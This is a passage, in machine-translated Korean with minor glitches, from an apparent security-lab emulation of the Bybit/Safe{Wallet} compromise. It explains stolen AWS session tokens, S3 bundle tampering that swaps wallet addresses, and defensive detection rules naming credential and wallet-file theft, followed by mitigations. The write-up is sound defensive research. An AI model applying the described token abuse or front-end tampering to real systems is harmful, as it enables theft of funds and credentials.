AWS 세션 토큰을 수집한 공격자는 사용 중인 툴에 따라 표준 AWS 자격 증명 위치(예: ~/.aws/credentials 또는 환경 변수)에 저장하거나 사용자 지정 파일 구조에 저장했을 가능성이 높습니다. AWS CLI는 기본적으로 ~/.aws/credentials 및 환경 변수에서 읽도록 설정되어 있지만, Boto3를 활용하는 Python 스크립트는 거의 모든 파일이나 경로에서 자격 증명을 가져오도록 구성할 수 있습니다. 침해 후 활동의 속도와 정확성을 고려할 때 공격자는 편의성과 내장된 요청 서명을 제공하는 AWS CLI, 직접 Boto3 SDK 호출 또는 CLI 명령을 래핑하는 셸 스크립트를 사용했을 가능성이 높습니다.

공격자가 SigV4를 사용하여 AWS API 요청에 수동으로 서명했을 가능성은 낮아 보이는데, 이는 불필요하게 느리고 운영적으로 복잡하기 때문입니다. 또한 어떤 공개 블로그에서도 세션 토큰 사용과 관련된 사용자 에이전트 문자열을 공개하지 않았다는 점에 유의해야 합니다(예 aws-cli, botocore 등), 공격자의 정확한 도구에 대한 불확실성을 남깁니다. 하지만 DRPK의 파이썬에 대한 의존도와 공격 속도를 고려할 때 CLI 또는 SDK 사용이 가장 합리적인 가정으로 남아 있습니다.

참고: 42번 유닛의 블로그에서 RN 로더 기능에 대해 설명하기 전에 포세이돈 페이로드를 사용하여 에뮬레이션으로 이 작업을 수행했습니다.

세션 토큰을 사용해도 세션이 처음에 MFA로 설정된 한 세션 토큰을 사용한다고 해서 IAM API 동작, 심지어 CreateVirtualMFADevice와 같은 동작에 대한 액세스가 본질적으로 차단되는 것은 아니라는 점을 명확히 하는 것이 중요합니다. 에뮬레이션에서는 MFA 컨텍스트가 있는 탈취된 세션 토큰을 사용하여 이 동작을 복제하려고 시도했습니다. 흥미롭게도 추가 MFA 장치를 등록하려는 시도가 실패했는데, 이는 세션 토큰을 통한 MFA 등록을 막는 명시적인 정책 제약과 같은 추가 안전 장치가 있거나 이 동작의 세부 사항이 여전히 너무 모호하여 동작을 잘못 모방한 것일 수 있음을 시사합니다. 정확한 실패 이유는 아직 명확하지 않지만, 이 동작은 세션 바인딩 작업과 관련된 IAM 정책 및 인증 컨텍스트에 대한 심층적인 조사가 필요합니다.

S3 자산 열거

공격자는 자격 증명을 획득한 후 액세스 가능한 AWS 서비스를 열거했을 가능성이 높습니다. 이 경우 Amazon S3가 확실한 타겟이었습니다. 공격자는 모든 지역에서 유출된 ID가 사용할 수 있는 버킷을 나열하고 트랜잭션 처리를 위해 프론트엔드 Next.js 애플리케이션을 호스팅하는 Safe{Wallet}과 연결된 공개 버킷을 찾았을 것입니다.

공격자는 app.safe[.]global 에 콘텐츠를 제공하는 역할을 하는 S3 버킷을 알고 있었기 때문에 버킷의 구조와 자산을 인증 없이 공개적으로 탐색하거나 다운로드할 수 있는 것으로 추정됩니다. 에뮬레이션에서는 정적 사이트 호스팅에 사용되는 공용 S3 버킷의 에셋을 동기화하여 유사한 동작을 검증했습니다.

악성 코드로 Next.js 앱 덮어쓰기

공격자는 버킷을 발견한 후 aws s3 동기화 명령을 사용하여 번들로 제공되는 프론트엔드 JavaScript 에셋을 포함한 전체 콘텐츠를 다운로드했을 가능성이 높습니다. 2월 5 과 2월 19, 2025, 특히 빌드 프로세스 중 Next.js 에서 출력되어 _next/static/chunks/pages/ 디렉토리에 저장되는 main.<HASH>.js 및 관련 경로와 같은 파일을 수정하는 데 집중하는 것으로 보입니다. 이 번들 파일에는 트랜스파일된 애플리케이션 로직이 포함되어 있으며, 시그니아의 포렌식 보고서에 따르면 _app-52c9031bfa03da47.js 이라는 파일이 악성 코드의 주요 인젝션 지점입니다.

Next.js 애플리케이션은 빌드 시 일반적으로 정적으로 생성된 에셋을 next/static/ 디렉터리에 저장하며, 자바스크립트 청크는 /chunks/pages/ 과 같은 폴더에 정리됩니다. 이 경우 공격자는 자바스크립트 번들을 포맷하고 난독화하여 구조를 파악한 다음 애플리케이션 로직을 리버스 엔지니어링했을 가능성이 높습니다. 사용자가 입력한 지갑 주소를 처리하는 코드를 식별한 후 페이로드를 주입했습니다. 이 페이로드는 조건부 로직을 도입하여, 입력된 지갑 주소가 알려진 여러 표적 주소 중 하나와 일치하는 경우, 사용자가 인지하지 못한 채 자동으로 목적지를 북한이 통제하는 주소로 대체하여 자금을 리디렉션합니다.

에뮬레이션에서는 TransactionForm.js 컴포넌트를 수정하여 입력한 수신자 주소가 특정 값과 일치하는지 확인하여 이 동작을 재현했습니다. 그렇다면 해당 주소가 공격자가 제어하는 지갑으로 대체된 것입니다. 이는 실제 공격에 사용된 스마트 컨트랙트 조작이나 델리게이트 호출의 복잡성을 반영하지는 않지만, 손상된 프론트엔드가 어떻게 암호화폐 거래를 조용히 리디렉션할 수 있는지 설명하기 위한 개념적 동작입니다.

정적 사이트 변조 영향 및 보안 제어 누락

이러한 유형의 프론트엔드 변조는 탈중앙화 애플리케이션(dApp)이 트랜잭션을 처리하기 위해 정적 클라이언트 측 로직에 의존하는 경우가 많은 웹3 환경에서 특히 위험합니다. 공격자는 S3 버킷에서 제공되는 JavaScript 번들을 수정함으로써 백엔드 API나 스마트 컨트랙트 로직을 침해하지 않고도 애플리케이션의 동작을 변경할 수 있었습니다.

침해가 발생한 시점에 S3 Object Lock, CSP(콘텐츠 보안 정책) 또는 SRI(하위 리소스 무결성) 헤더와 같은 보호 기능이 사용되지 않았거나 적용되지 않았다고 가정합니다. 이러한 제어 기능이 없었다면 공격자는 브라우저 또는 백엔드 무결성 검증을 트리거하지 않고 정적 프론트엔드 코드를 수정할 수 있었을 것이며, 이러한 변조는 탐지되지 않고 훨씬 쉽게 수행될 수 있었을 것입니다.

방어에 대한 교훈

성공적인 에뮬레이션 또는 실제 사고 대응은 공격자의 행동을 식별하는 것으로 끝나지 않습니다. 유사한 기법이 다시는 성공하지 못하도록 방어를 강화하는 작업을 계속하고 있습니다. 아래에서는 이러한 에뮬레이션과 Safe{지갑} 침해와 같은 야생(ItW) 캠페인에 사용되는 전술에 대한 노출을 제한하고 위험을 줄이는 데 도움이 되는 주요 탐지, 보안 제어, 완화 전략 및 Elastic 기능에 대해 간략하게 설명합니다.

참고: 이러한 탐지 기능은 적극적으로 유지 관리되고 정기적으로 조정되며 시간이 지남에 따라 발전할 수 있습니다. 사용 환경에 따라 오탐을 최소화하고 노이즈를 줄이기 위해 추가 튜닝이 필요할 수 있습니다.

Elastic의 SIEM 탐지 및 엔드포인트 예방 규칙

에뮬레이션을 통해 공격자의 행동을 이해하고 보안 제어를 구현하여 환경을 강화한 후에는 이러한 위협을 실시간으로 식별하고 대응할 수 있는 탐지 기회와 기능을 탐색하는 것도 마찬가지로 중요합니다.

에뮬레이션을 통해 공격자의 행동을 이해하고 보안 제어를 구현하여 환경을 강화한 후에는 이러한 위협을 실시간으로 식별하고 대응할 수 있는 탐지 기회와 기능을 탐색하는 것도 마찬가지로 중요합니다.

MacOS 엔드포인트 동작 방지 규칙

Python PyYAML 역직렬화 페이로드

규칙 이름: "Python 스크립트 드롭 및 실행": Python 스크립트가 생성 또는 수정된 후 동일한 Python 프로세스에서 해당 스크립트가 즉시 실행되는 경우를 감지합니다.

파이썬 로더 스크립트

규칙 이름: "자동 삭제 파이썬 스크립트": Python 스크립트가 실행되고 해당 스크립트 파일이 동일한 Python 프로세스에 의해 즉시 삭제되는 경우를 감지합니다.

규칙 이름: "자체 삭제된 Python 스크립트 아웃바운드 연결": Python 스크립트가 삭제된 후 곧바로 동일한 Python 프로세스에 의해 아웃바운드 네트워크 연결이 발생하는 경우를 감지합니다.

파이썬 로더 스크립트 Ret == 1

규칙 이름: "파이썬을 통한 의심스러운 실행 파일 생성": 의심스럽거나 비정상적인 디렉터리에서 Python에 의해 실행 파일이 생성되거나 수정되는 경우를 탐지합니다.

규칙 이름: "파이썬 라이브러리 로드 및 삭제": 사용자 홈 디렉터리 내에 있는 공유 라이브러리가 Python에 의해 로드된 후 곧바로 동일한 Python 프로세스에 의해 라이브러리가 삭제되는 시점을 감지합니다.

규칙 이름: "파이썬을 통한 비정상적인 라이브러리 로드":.dylib로 표시되지 않는 공유 라이브러리가 Python에 의해 로드되는 경우를 감지합니다. 또는 .so 파일이며 사용자 홈 디렉터리 내에 있습니다.

규칙 이름: "스크립팅 추가를 통한 인메모리 JXA 실행": JXA 스크립트의 인메모리 로드 및 실행을 감지합니다.

파이썬 로더 스크립트 Ret == 2

규칙 이름: "잠재적 파이썬 도용자": 파이썬 스크립트가 실행된 후 곧이어 동일한 파이썬 프로세스가 민감한 파일에 액세스하려고 세 번 이상 시도하는 경우를 감지합니다.

규칙 이름: "자체 삭제된 Python 스크립트가 민감한 파일에 액세스": Python 스크립트가 삭제된 후 곧바로 동일한 Python 프로세스에서 민감한 파일에 액세스하는 경우를 감지합니다.

파이썬 로더 스크립트 Ret == 3

규칙 이름: "파이썬을 통한 서명되지 않거나 신뢰할 수 없는 바이너리 실행": 서명되지 않거나 신뢰할 수 없는 바이너리가 의심스러운 디렉터리 내에 있는 실행 파일이 Python에 의해 실행되는 경우를 탐지합니다.

규칙 이름: "파이썬을 통한 서명되지 않거나 신뢰할 수 없는 바이너리 포크": 서명되지 않거나 신뢰할 수 없는 바이너리가 파이썬에 의해 포크 실행될 때 프로세스 인수가 사용자 홈 디렉터리 내의 파일 경로인 경우를 감지합니다.

규칙 이름: "의심스러운 디렉터리의 프로세스가 클라우드 자격 증명 파일에 액세스": 의심스러운 디렉터리에서 실행되는 프로세스가 클라우드 자격 증명에 액세스하는 경우를 감지합니다.

AWS 클라우드 트레일 로그에 대한 SIEM 탐지

규칙 이름: "여러 주소에서 사용된 STS 임시 IAM 세션 토큰": AWS IAM 세션 토큰을 감지합니다(예 ASIA*)가 단기간에 여러 소스 IP 주소에서 사용되고 있으며, 이는 공격자의 인프라에서 자격 증명 도용 및 재사용을 나타낼 수 있습니다.

규칙 이름: "임시 자격 증명으로 가상 MFA 장치를 등록하려는 IAM 시도": AWS 세션 토큰으로 CreateVirtualMFADevice 또는 EnableMFADevice를 호출하려는 시도를 감지합니다. 이는 탈취한 단기 인증 정보를 사용하여 영구적인 액세스를 설정하려는 시도를 반영할 수 있습니다.

규칙 이름: "임시 세션 토큰을 통한 IAM에 대한 API 호출": 임시 자격 증명을 사용하는 주체가 민감한 iam.amazonaws.com API 작업을 사용하는 것을 감지합니다(예 접두사가 붙은 세션 토큰). 이러한 작업은 일반적으로 MFA가 필요하거나 AWS 콘솔 또는 페더레이션 사용자를 통해서만 수행해야 합니다. CLI 또는 자동화 토큰이 아닙니다.

규칙 이름: "PutObject를 통해 업로드된 S3 정적 사이트 자바스크립트 파일": IAM 사용자가 S3 버킷의 static/js/ 디렉터리에 있는 JavaScript 파일을 업로드하거나 수정하려는 시도를 식별하여 프론트엔드 변조를 알릴 수 있습니다(예. 악성 코드 주입)

규칙 이름: "칼리 리눅스 지문이 식별된 AWS CLI": user_agent.original 문자열로 표시된 대로 Kali Linux를 사용하는 시스템에서 수행된 AWS API 호출을 감지합니다. 이는 공격자 인프라 또는 레드팀 툴을 통한 무단 액세스를 반영할 수 있습니다.

규칙 이름: "S3 과도하거나 의심스러운 GetObject 이벤트": 짧은 시간 내에 동일한 IAM 사용자 또는 세션에 의한 대량의 S3 GetObject 작업을 감지합니다. 이는 특히 정적 사이트 파일이나 프론트엔드 번들을 대상으로 AWS CLI 명령 동기화와 같은 도구를 사용한 S3 데이터 유출을 나타낼 수 있습니다. 이 쿼리는 헌팅 쿼리이므로 그에 맞게 조정해야 합니다.

도커 남용에 대한 SIEM 탐지

규칙 이름: "도커를 통한 민감한 파일 액세스": Docker가 민감한 호스트 파일("ssh", "aws", "gcloud", "azure", "웹 브라우저", "암호화폐 지갑 파일")에 액세스하는 시기를 감지합니다.

규칙 이름: "도커를 통한 의심스러운 실행 파일 수정": Docker가 의심스럽거나 비정상적인 디렉토리 내에서 실행 파일을 생성하거나 수정하는 경우를 탐지합니다.

macOS 에이전트 정책에 Docker 데이터 통합이 포함된 경우, 사용자 시스템에서 악성 컨테이너 활동을 파악하는 데 도움이 되는 중요한 원격 분석 정보를 수집할 수 있습니다. 에뮬레이션에서는 이 통합을 통해 Docker 로그를 수집(메트릭 인덱스에)하여 악성 애플리케이션과 관련된 침해 지표 및 의심스러운 컨테이너 실행을 식별할 수 있는 탐지 규칙을 구축하는 데 사용했습니다.

완화

소셜 엔지니어링

사회 공학은 많은 침입에서 중요한 역할을 하지만, 특히 북한의 경우 더욱 그렇습니다. 이들은 링크드인, 텔레그램, X, 디스코드 등 신뢰할 수 있는 공개 플랫폼을 활용하여 피해자를 타겟팅하고 접근하여 연락을 시작하고 합법적인 것처럼 보이게 하는 데 매우 능숙합니다. 대부분의 소셜 엔지니어링 캠페인은 필요성(입사 지원), 고민(디버깅 지원) 등을 이유로 사용자가 어떤 종류의 프로젝트, 애플리케이션 또는 스크립트를 다운로드하여 실행하도록 유도합니다. 소셜 엔지니어링을 활용한 표적 공격을 완화하는 것은 어렵기 때문에 회사가 직원들이 이러한 시도를 인식하도록 정기적으로 교육하고, 외부 기관 및 오픈 소스 커뮤니티에 참여할 때 적절한 회의주의와 주의를 기울이는 등 공동의 노력을 기울여야 합니다.

  • 사용자 인식 교육
  • 수동 정적 코드 검토
  • 정적 코드 및 종속성 스캔

Bandit(깃허브- PyCQA/bandit: 밴드잇은 파이썬 코드에서 일반적인 보안 문제를 찾기 위해 설계된 도구입니다.)은 개발자가 실행 전에 파이썬 애플리케이션과 해당 스크립트를 스캔하여 코드에 존재할 수 있는 일반적인 파이썬 보안 취약점이나 위험한 문제를 발견하는 데 사용할 수 있는 오픈 소스 도구의 좋은 예입니다.

애플리케이션 및 디바이스 관리

디바이스 관리 솔루션 또는 오픈 소스 도구인Santa(GitHub - northpolesec/santa) 와 같은 바이너리 권한 부여 프레임워크를 통한 애플리케이션 제어: macOS용 바이너리 및 파일 액세스 권한 부여 시스템). 를 사용하여 공증을 시행하고 의심스러운 경로에서 실행을 차단할 수 있었습니다. 이렇게 하면 지속성을 위해 시스템에 드롭된 포세이돈 페이로드의 실행을 방지하고 민감한 파일에 대한 액세스를 방지할 수 있었을 것입니다.

EDR/XDR

국가 단위의 위협을 효과적으로 방어하려면, 그리고 macOS를 대상으로 하는 다른 많은 공격을 효과적으로 방어하려면 스크립트 기반 공격을 탐지하고 방지하는 풍부한 원격 측정 및 상관관계 기능을 제공하는 EDR 솔루션을 구축하는 것이 중요합니다. 한 걸음 더 나아가, Elastic과 같은 EDR 플랫폼을 사용하면 엔드포인트 데이터와 함께 AWS 로그를 수집하여 단일 창을 통해 통합된 알림과 가시성을 확보할 수 있습니다. 이 접근 방식을 AI 기반 상관관계와 결합하면 일관된 공격 내러티브를 파악하여 대응 속도를 크게 높이고 공격 발생 시 신속하게 대응할 수 있는 능력을 향상시킬 수 있습니다.

AWS 자격 증명 노출 및 세션 토큰 강화

이 공격에서 공격자는 훔친 AWS 사용자 세션 토큰(ASIA* 접두사 포함)을 활용했으며, 이 토큰은 MFA를 사용하여 GetSessionToken API를 통해 발급되었습니다. 이러한 자격 증명은 내보낸 환경 변수 또는 기본 AWS 구성 경로(예: ~/.aws/credentials)를 통해 macOS 개발자 환경에서 가져온 것일 수 있습니다.

이러한 유형의 액세스를 완화하기 위해 조직은 다음과 같은 방어 전략을 구현할 수 있습니다:

  1. 세션 토큰 수명을 줄이고 IAM 사용자로부터 멀어지세요: IAM 사용자에게 수명이 긴 세션 토큰을 발급하지 마세요. 대신 짧은 토큰 기간(예: 1 1시간 이하)을 적용하고 모든 인간 사용자에 대해 AWS SSO(IAM Identity Center)를 채택하세요. 따라서 세션 토큰은 임시적이고 감사 가능하며 ID 페더레이션에 연결됩니다. IAM 사용자에 대한 sts:GetSessionToken 권한을 모두 비활성화하는 것이 가장 강력한 접근 방식이며, IAM Identity Center에서는 이러한 전환을 허용합니다.
  2. IAM API 사용에 대한 세션 컨텍스트 제한을 적용합니다: 임시 자격 증명을 사용하여 요청이 이루어진 경우 iam:CreateVirtualMFADevice 또는 iam:AttachUserPolicy와 같은 민감한 IAM 작업을 명시적으로 거부하는 IAM 정책 조건 블록을 구현합니다. 이렇게 하면 공격에 사용된 것과 같은 세션 기반 키가 권한을 에스컬레이션하거나 ID 구성을 수정할 수 없게 됩니다.
  3. MFA 등록을 신뢰할 수 있는 경로로 제한합니다: 신뢰할 수 있는 네트워크, 디바이스 또는 IAM 역할이 아닌 경우 세션 토큰을 통한 MFA 디바이스 생성(CreateVirtualMFADevice, EnableMFADevice)을 차단합니다. 이를 적용하려면 정책 컨텍스트 키로 aws:SessionToken 또는 aws:ViaAWSService를 사용하세요. 이렇게 하면 공격자가 하이재킹된 세션을 사용하여 MFA 기반 지속성을 시도하는 것을 방지할 수 있습니다.

S3 애플리케이션 레이어 강화(프론트엔드 변조)

공격자는 AWS 세션 토큰을 획득한 후 IAM 열거를 수행하지 않았고, 그 대신 S3 작업으로 빠르게 전환했습니다. AWS CLI와 임시 자격 증명을 사용하여 S3 버킷을 나열하고 공용 S3 버킷에서 호스팅되는 정적 프론트엔드 JavaScript를 수정했습니다. 이를 통해 특정 지갑 주소를 기반으로 거래를 리디렉션하도록 설계된 악성 변종 Next.js 번들로 프로덕션 Next.js 번들을 대체할 수 있었습니다.

이러한 유형의 프론트엔드 변조를 방지하려면 다음과 같은 보안 강화 전략을 구현하세요:

  1. S3 Object Lock으로 불변성 적용: 정적 프런트엔드 콘텐츠를 호스팅하는 버킷에서 규정 준수 또는 거버넌스 모드에서 S3 Object Lock을 사용 설정하세요. 이렇게 하면 침해된 사용자라도 정의된 보존 기간 동안 파일을 덮어쓰거나 삭제하는 것을 방지할 수 있습니다. Object Lock은 강력한 불변성을 보장하며 공개용 애플리케이션 계층에 이상적입니다. 덮어쓰기가 아닌 새 개체를 넣는 액세스 권한은 배포 역할을 통해 여전히 허용될 수 있습니다.
  2. SRI(하위 리소스 무결성)로 콘텐츠 무결성 구현: index.html 내의 태그에 SRI 해시(예: SHA-256)를 포함시켜 <script> 프론트엔드에서 알려진 검증된 JavaScript 번들만 실행되도록 합니다. 이 공격에서는 무결성 검사의 부재로 인해 임의의 JavaScript가 S3 버킷에서 제공되고 실행될 수 있었습니다. SRI는 브라우저 수준에서 이 동작을 차단했을 것입니다.
  3. CI/CD 배포 경계를 사용하여 업로드 액세스를 제한하세요: 개발자는 프로덕션 S3 버킷에 직접 쓰기 권한을 가져서는 안 됩니다. 개발 및 CI/CD 배포에는 별도의 AWS 계정 또는 IAM 역할을 사용하세요. 프로덕션 버킷에 프런트엔드 번들을 업로드하려면 OIDC가 인증한 GitHub 액션 또는 신뢰할 수 있는 CI 파이프라인만 허용해야 합니다. 이를 통해 사람의 자격 증명이 유출되더라도 생산에 영향을 미치지 않도록 보장합니다.
  4. CloudFront 서명된 URL을 통한 액세스를 잠그거나 S3 버전 관리를 사용하세요: CloudFront를 통해 프런트엔드를 배포하는 경우, 서명된 URL을 사용하여 S3에 대한 액세스를 제한하고 S3 오리진에 대한 공개 액세스를 제거하세요. 이렇게 하면 프록시 및 제어 계층이 추가됩니다. 또는 S3 버전 관리를 활성화하고 중요한 자산(예: /static/js/*.js)에서 덮어쓰기 이벤트를 모니터링하세요. 이는 프론트엔드 파일을 교체하려는 공격자의 변조를 탐지하는 데 도움이 될 수 있습니다.

공격 탐지(AD)

엔드투엔드 공격 에뮬레이션을 완료한 후, Elastic의 새로운 AI 공격 탐색 기능을 테스트하여 침입의 다양한 단계 사이의 점들을 연결할 수 있는지 확인했습니다. Attack Discovery는 선택한 LLM과 통합되어 스택 전반의 경보를 분석하고 일관된 공격 내러티브를 생성합니다. 이러한 내러티브는 분석가가 발생한 상황을 빠르게 이해하고, 대응 시간을 단축하며, 높은 수준의 컨텍스트를 확보하는 데 도움이 됩니다. 테스트에서 엔드포인트 침해와 AWS 침입의 상관관계를 성공적으로 파악하여 분석가가 정보에 입각한 조치를 취하는 데 사용할 수 있는 통합 스토리를 제공했습니다.

Osquery

Elastic Agent를 통해 Elastic Defend를 실행하는 경우, OSQuery Manager 통합을 배포하여 플릿의 모든 에이전트에서 Osquery를 중앙에서 관리할 수도 있습니다. 이를 통해 분산 SQL을 사용하여 호스트 데이터를 쿼리할 수 있습니다. 도커화된 악성 애플리케이션을 테스트하는 동안 OSQuery를 사용하여 엔드포인트를 검사한 결과, 권한 있는 권한으로 실행 중인 컨테이너를 성공적으로 식별했습니다.

SELECT name, image, readonly_rootfs, privileged FROM docker_containers

이 쿼리가 반복적으로 실행되도록 예약하여 결과를 Elastic Stack으로 다시 전송했습니다. 거기에서 지난 7일 동안 관찰되지 않은 새로운 권한 컨테이너가 사용자 시스템에 나타날 때마다 경고하는 임계값 기반 탐지 규칙을 구축했습니다.

결론

바이비트 공격은 북한 위협 행위자들이 일으킨 가장 심각한 침입 중 하나였으며, 상세한 보고와 이용 가능한 아티팩트 덕분에 방어자들이 전체 공격 체인을 엔드 투 엔드 에뮬레이션할 수 있는 드문 기회를 제공하기도 했습니다. 초기 액세스, 페이로드 실행, AWS 피벗을 포함하여 SAFE 개발자의 macOS 워크스테이션을 침해하는 상황을 재현함으로써 실제 국가 단위의 공격 기법에 대한 탐지 기능을 검증했습니다.

이 에뮬레이션은 초기 액세스를 얻기 위해 PyYAML 역직렬화를 악용하는 방법과 같은 기술적 인사이트를 강조했을 뿐만 아니라 사용자 인식의 가치, 행동 기반 EDR 범위, 안전한 개발자 워크플로, 효과적인 클라우드 IAM 정책, 클라우드 로깅 및 플랫폼 전반의 종합적인 탐지/대응 등 운영 방어에 있어 중요한 교훈을 강화했습니다.

공격자들은 끊임없이 혁신을 거듭하고 있지만 방어자들도 마찬가지이며, 이러한 종류의 연구는 균형을 맞추는 데 도움이 됩니다. elasticseclabs를 팔로우하고 elastic.co/security-labs에서 위협 연구를 확인하여 진화하는 공격 기법보다 앞서 나가시기 바랍니다.

리소스:

  1. Bybit - 지금까지 알려진 사실
  2. Safe.eth on X: "조사 업데이트 및 커뮤니티 행동 촉구"
  3. 암호화폐 APT 인텔리전스: 라자루스 그룹의 침입 기법 공개
  4. 코딩 문제로 개발자를 노리고 새로운 맞춤형 파이썬 멀웨어를 소개하는 Slow Pisces
  5. 북한의 침입 코드: Python으로 무장한 네트워크 공격 사례
  6. 엘라스틱, 북한의 KANDYKORN 패싱을 잡아내다